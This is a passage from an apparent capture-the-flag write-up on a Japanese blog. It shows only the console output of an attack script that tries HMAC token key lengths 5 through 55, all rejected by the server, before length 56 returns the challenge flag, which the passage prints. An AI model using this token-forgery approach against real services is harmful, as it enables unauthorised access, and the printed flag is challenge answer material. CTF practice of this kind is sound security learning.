[+] key length: 5 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 6 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 7 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 8 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 9 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 10 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 11 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 12 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 13 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 14 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 15 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 16 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 17 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 18 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 19 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 20 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 21 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 22 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 23 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 24 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 25 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 26 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 27 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 28 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 29 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 30 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 31 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 32 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 33 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 34 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 35 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 36 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 37 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 38 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 39 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 40 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 41 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 42 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 43 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 44 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 45 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 46 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 47 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 48 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 49 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 50 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 51 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 52 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 53 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 54 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 55 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 56 --> [{'title': 'flag'}]
[*] flag: SVUSCG{db2bd4dcfaf4f7d28ee4771b5e32e809}
SVUSCG{db2bd4dcfaf4f7d28ee4771b5e32e809}



以上の内容はhttps://yocchin.hatenablog.com/entry/2025/06/20/162103より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14